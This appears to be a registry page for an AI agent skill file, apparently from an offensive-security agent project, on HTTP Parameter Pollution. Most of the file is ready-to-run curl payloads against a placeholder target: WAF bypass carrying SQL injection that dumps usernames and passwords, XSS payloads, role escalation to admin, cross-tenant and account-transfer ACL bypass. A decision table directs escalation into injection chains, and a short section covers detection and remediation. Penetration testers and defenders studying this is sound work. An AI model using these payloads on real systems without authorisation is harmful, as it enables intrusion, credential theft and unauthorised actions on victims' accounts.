CtrlK
BlogDocsLog inGet started
Tessl Logo

hpp

HTTP Parameter Pollution — parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery.

62

Quality

74%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md
SKILL.md
Quality
Evals
Security

HTTP Parameter Pollution (HPP)

Two layers (proxy/WAF, framework, app code) parse the same duplicate parameter differently. The WAF inspects one value, the app reads another — payload slips through. Or the framework picks one value for the auth check and a different one for the action — ACL bypass. Standalone severity is usually Low/Medium; chained into SQLi / SSRF / auth bypass it is High/Critical.

1. Parser precedence table

When ?id=1&id=2 (or duplicated body params) is received:

Stackrequest.GET['id'] / equivalentgetParameterValues / list view
PHP ($_GET)last wins (2)$_GET['id[]'] only; otherwise the dup is dropped
ASP.NET (Request.QueryString["id"])comma-concatenated ("1,2")GetValues returns both
ASP Classiccomma-concatenated
Java Servlet (getParameter)first (1)getParameterValues returns both
Java Spring @RequestParam StringfirstList<String> binds both
Node.js qs (Express default)array (["1","2"])n/a
Node.js querystring (legacy)arrayn/a
Python Flask request.args.getfirstgetlist returns both
Python Django request.GET['id']lastgetlist returns both
Python urllib.parse.parse_qslist (["1","2"])
Ruby on Railslastparams[:id] is the last; arrays via id[]=
Go net/http r.URL.Query().Getfirst["id"] returns all
Perl CGI param("id")first in scalar, list in list context
nginx $arg_idfirst
Apache mod_rewrite %{QUERY_STRING}raw — passes both
AWS API Gateway → Lambda proxylast in queryStringParameters, all in multiValueQueryStringParameters
Cloudflare WAFinspects all values for rule match (generally)
AWS WAFinspects each occurrence
ModSecurity (CRS)inspects each — but anomaly score per rule

The exploitable pattern: WAF/proxy reads value A, app reads value B.

2. Detection

# Baseline
curl -s "http://<TARGET>/api?id=1" -o /dev/null -w 'HTTP %{http_code} %{size_download}B\n'

# Duplicate param — same key
curl -s "http://<TARGET>/api?id=1&id=2" -o resp.dup -w 'HTTP %{http_code} %{size_download}B\n'
cat resp.dup | head -c 300

# Bracket form (PHP arrays)
curl -s "http://<TARGET>/api?id[]=1&id[]=2" -o resp.arr -w 'HTTP %{http_code} %{size_download}B\n'

# Whitespace / separator variants
curl -s "http://<TARGET>/api?id=1;id=2"           # semicolon separator (PHP/Java differ)
curl -s "http://<TARGET>/api?id=1&id =2"          # space-before-=
curl -s --data-urlencode 'id=1' --data-urlencode 'id=2' "http://<TARGET>/api"  # body dup

Reflection check — does the response echo 1, 2, 1,2, or ["1","2"]? That literally fingerprints the stack.

for pair in 'id=1&id=2' 'id=2&id=1' 'id=1;id=2' 'id[]=1&id[]=2'; do
  echo "== $pair =="
  curl -s "http://<TARGET>/echo?$pair"
  echo
done

3. WAF bypass via duplicate parameters

The WAF inspects one occurrence; the app concatenates / picks the other.

# ASP.NET: WAF sees "1" on first occurrence, app gets "1,UNION SELECT ..." after concat
curl -G "http://<TARGET>/search" \
  --data-urlencode "q=1" \
  --data-urlencode "q=UNION SELECT user,password FROM users--"

# PHP last-wins: WAF blocks the obvious payload only if it inspects every value
curl -G "http://<TARGET>/search" \
  --data-urlencode "q=harmless" \
  --data-urlencode "q=<svg/onload=alert(1)>"

# Java first-wins, WAF inspects only the LAST occurrence (some appliances do)
curl -G "http://<TARGET>/cmd" \
  --data-urlencode "host=' OR 1=1--" \
  --data-urlencode "host=8.8.8.8"

Mixed source confusion — GET vs POST:

# Some frameworks merge GET+POST into one params dict; precedence differs from WAF inspection
curl -X POST "http://<TARGET>/api?role=user" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'role=admin'

4. Server-side HPP — auth / ACL bypass

The auth layer evaluates one value; the controller acts on another.

# Pattern: filter reads first, action reads last
curl "http://<TARGET>/transfer?account=mine&account=victim&amount=100"
# Filter: account==mine → permits. Controller: last wins → operates on victim.

# Role check vs role assignment
curl -X POST "http://<TARGET>/users/create" \
  -d 'role=user&username=x&role=admin'

# Tenant scoping
curl "http://<TARGET>/api/orders?tenant_id=$MINE&tenant_id=$OTHER"

5. Client-side HPP

User-supplied parameter is re-emitted into a link or redirect without re-encoding &.

Vulnerable template:  <a href="/proxy?url=USER_INPUT&action=read">
Payload:              USER_INPUT = http://x.tld?evil=1
Rendered link:        /proxy?url=http://x.tld?evil=1&action=read
Server sees:          url=http://x.tld?evil=1   AND   action=read     (still benign)

Now payload: USER_INPUT = http://x.tld?evil=1&action=delete
Rendered link:        /proxy?url=http://x.tld?evil=1&action=delete&action=read
Server (first-wins):  action=delete   ← attacker controls flow despite "&action=read" being hard-coded
# Probe — pass a payload containing & and look for it un-encoded in the response HTML
curl -s "http://<TARGET>/page?ref=foo%26admin=1" | grep -oE 'href="[^"]*ref=[^"]*"' | head

6. Injection delivery

# Split SQLi payload across two values to bypass per-value length / pattern checks
curl -G "http://<TARGET>/search" \
  --data-urlencode "q=' UNION SELECT 1,2,3--" \
  --data-urlencode "q=' UNION SELECT username,password,3 FROM users--"
# .NET concatenation → final value contains both fragments joined by ","

# Carry an XSS payload past a regex that only checks one occurrence
curl -G "http://<TARGET>/view" \
  --data-urlencode "name=harmless" \
  --data-urlencode "name=<img src=x onerror=alert(1)>"

7. Tools

  • Burp Param Miner — finds hidden / undocumented params, reflects, dup-detection.
  • HTTPParameterPollution Burp extension — generates dup-permutations.
  • wfuzz / ffuf — fuzz with -z list,1-2-1,1 to inject duplicate keys.
  • sqlmap --param-del=';' -p 'q' --skip-urlencode — for separator-style HPP.
  • Hand-rolled Python: requests.PreparedRequest lets you pass a list of tuples to keep order: [("id","1"),("id","2")].

8. Detection signatures (defenders)

SignalSource
Two id= (or any key) per request lineaccess logs, request audit
WAF rule fired on one occurrence, request still 200WAF + app log correlation
?key[]= or ;key= patternsnginx / Apache logs
ASP.NET request that concatenates user input into "1,2" and forwards to a backendapp trace
Differential outcome on ?a=1&a=2 vs ?a=2&a=1active monitoring probe

Remediation: canonicalize duplicates before auth/inspection; reject duplicates by policy on sensitive endpoints; never re-emit user input into URLs without re-encoding & and =.

9. Decision gate

ObservationAction
Stack identified, dup-param accepted, app reads value B while WAF inspects AConfirm with a known-blocked payload split across A,B → escalate to SQLi/XSS chain
Auth-relevant param accepted in duplicate AND backend action uses a different occurrencePursue ACL/IDOR-via-HPP chain → high severity
Dup accepted but both occurrences inspected and treated identicallyLow impact, move on or fold into bypass research
Client-side HPP only (no auth/ACL impact)Document, often Low; chain with open redirect / CSRF

Cross-references

  • WAF bypass payload obfuscation: skills/standard/exploit/web/waf-bypass/SKILL.md
  • SQLi chain: skills/standard/exploit/web/sqli/SKILL.md
  • BFLA / IDOR via param shadowing: skills/standard/exploit/web/bfla/SKILL.md
  • HTTP smuggling (related parser-discrepancy class): skills/standard/exploit/web/smuggling/SKILL.md
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.